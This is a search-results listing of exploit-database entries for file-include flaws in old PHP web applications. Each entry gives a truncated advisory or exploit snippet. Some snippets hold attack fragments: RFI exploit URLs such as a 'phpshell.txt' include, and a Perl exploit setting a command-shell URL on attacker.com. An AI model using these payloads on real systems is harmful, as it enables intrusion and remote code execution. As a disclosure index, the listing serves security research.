9063 matches found
Sports PHool <= 1.0 - Remote File Include Exploit
No description provided by source. ?php / Sports PHool = 1.0 Remote File Include Exploit Found and c0ded by cr4wl3r @hackb0x d0rk: no d0rk f0r kiddi0ts Script: http://sourceforge.net/projects/sportsphool/files/ usage: target: http://target/sportsphool/includes/layout/plain.footer.php?mainnav= evi...
PHPRecipeBook <= 2.35 (g_rb_basedir) Remote File Include Exploit
No description provided by source. !/usr/bin/perl PHPRecipeBook 2.36 Class: Remote File Include Vulnerability Date: 2006/10/16 Remote: Yes Type: Highly critical Vendor: http://phprecipebook.sourceforge.net/...
PHP News Reader <= 2.6.4 (phpbb.inc.php) Remote File Include Exploit
No description provided by source. !/usr/bin/perl PHP News Reader Class: Remote File Include Vulnerability Patch: unavailable Date: 2006/10/12 Remote: Yes Type: high Site: http://pnews.sourceforge.net/ use IO::Socket; use LWP::Simple; $cmdshell=http://attacker.com/cmd.txt; ====== Change This Line...
php recommend <= 1.3 (ab/rfi/ci) Multiple Vulnerabilities
No description provided by source. Php Recommend =1.3 Authentication Bypass/Remote File Include/Code Injection Exploits Author: scriptjunkie scriptjunkie.1 nospam googlemail nospam com Condition: RFI: allowurlfopen = On code injection: magicquotesgpc = Off Exploits: Authentication Bypass: change...
A+ PHP Scripts News Management System 0.3 Multiple Input Validation Vulnerabilities
No description provided by source. source: http://www.securityfocus.com/bid/29912/info A+ PHP Scripts News Management System is prone to multiple input-validation vulnerabilities, including a remote file-include issue, multiple local file-include issues, and a cross-site scripting issue. An...
Ninja RSS Syndicator 1.0.8 - Local File Include
No description provided by source. Joomla component Ninja RSS Syndicator 1.0.8 Local File Include Version : 1.0.8 Author : jdc Download : http://ninjaforge.com/index.php?option=comninjacentral&page=showpackage&id=74&Itemid=236...
Liga Manager Online 2.0 Joomla! Component Remote File Include Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/19234/info Liga Manager Online Joomla! Component is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker can exploit this...
Openreglement 1.04 (RFI/LFI) Multiple File Include Vulnerability
No description provided by source. ================================================================ Openreglement 1.04 RFI/LFI Multiple File Include Vulnerability ================================================================ + Openreglement 1.04 RFI/LFI Multiple File Include Vulnerability...
Sitemap Mambo Component <= 2.0.0 - Remote Include Vulnerability
No description provided by source. Sitemap 2.0.0 for Mambo 4.5.1 CMS Author : Ahmad Maulana a.k.a Matdhule Date : July 12th 2006 Location : Indonesia, Jakarta Web : http://advisories.echo.or.id/adv/adv38-matdhule-2006.txt Critical Lvl : Highly critical Impact : System access Where : From Remote...
Joomla com_jim Component <= 1.0.1 - Remote File Include Vulnerability
No description provided by source. C Y B E R - W A R R I O R T I M Mambo jim Component Remote Include Vulnerability Author: XORON Class: Remote cont@ct: x0r0nathotmaildotcom Code: in install.jim.php , line 16 requireonce$mosConfigabsolutepath./components/comjim/readme.txt; Exploit:...
BES-CMS 0.4/0.5 hacking.php File Include Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/9268/info It has been reported that BES-CMS is vulnerable to a remote file include vulnerability that may allow an attacker to include malicious files containing arbitrary code to be executed on a vulnerable system. The...
OSTE 1.0 - Remote File Include Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/15340/info OSTE is prone to a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker can exploit this issue to execute arbitrary remote P...
Vitrax Pre-modded <= 1.0.6-r3 Remote File Include Vulnerability
No description provided by source. credits: CeNGiZ-HaN contact: [email protected] team: www.system-defacers.org risk: High script: vitrax premodded phpbb script site: www.vitrax.org Exploit: http://target/path/includes/functionsportal.php?phpbbrootpath=phpshell.txt? GreeTz No One =...
IBM Proventia Sensor Appliance Multiple Input Validation Vulnerabilities
No description provided by source. source: http://www.securityfocus.com/bid/24864/info The IBM Proventia Sensor Appliance is prone to multiple input-validation vulnerabilities, including multiple remote file-include issues and a cross-site scripting issue. An attacker can exploit these issues to...
LedgerSMB1.0/1.1,SQL-Ledger 2.6.x Login Parameter Local File Include And Authentication Bypass Vulnerabilities
No description provided by source. source: http://www.securityfocus.com/bid/23034/info LedgerSMB/SQL-Ledger are prone to a local file-include vulnerability because the application fails to sufficiently sanitize user-supplied input. SQL-Ledger is also prone to an authentication-bypass vulnerabilit...
gtcatalog <= 0.9.1 (index.php) Remote File Include Vulnerability
No description provided by source. ============================================================================================= Shopping Catalog RFI ============================================================================================= Info:- Scripts: ShoppingCatalog download :...
In-Portal In-Link 2.3.4 ADODB_DIR.PHP Remote File Include Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/19824/info In-portal In-link is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input. An attacker can exploit this issue to include an arbitrary remote file containing...
Back-End CMS <= 0.7.2.1 (jpcache.php) Remote Include Vulnerability
No description provided by source. Federico Fazzi, [email protected] Back-end = 0.7.2.1 jpcache.php Remote command execution 08/06/2006 1:04 Bug: jpcache.php: line 40 --- $includedir = $PSL'classdir' . /jpcache; --- Proof of concept: Back-end have a default path pre-set on jpcache.php, and...
Public Media Manager
No description provided by source. Discovered by cr4wl3r \ cr4wl3r4tlinuxmaildotorg Public Media Manager = 1.3 formsdir Remote File Include Vulnerability Download Script : http://sourceforge.net/projects/pmm-cms/files/ Dork : dieLamers attempt; :D Vuln : ./pmm-cms-1.3/comcal/calmenu.php line 4 ?p...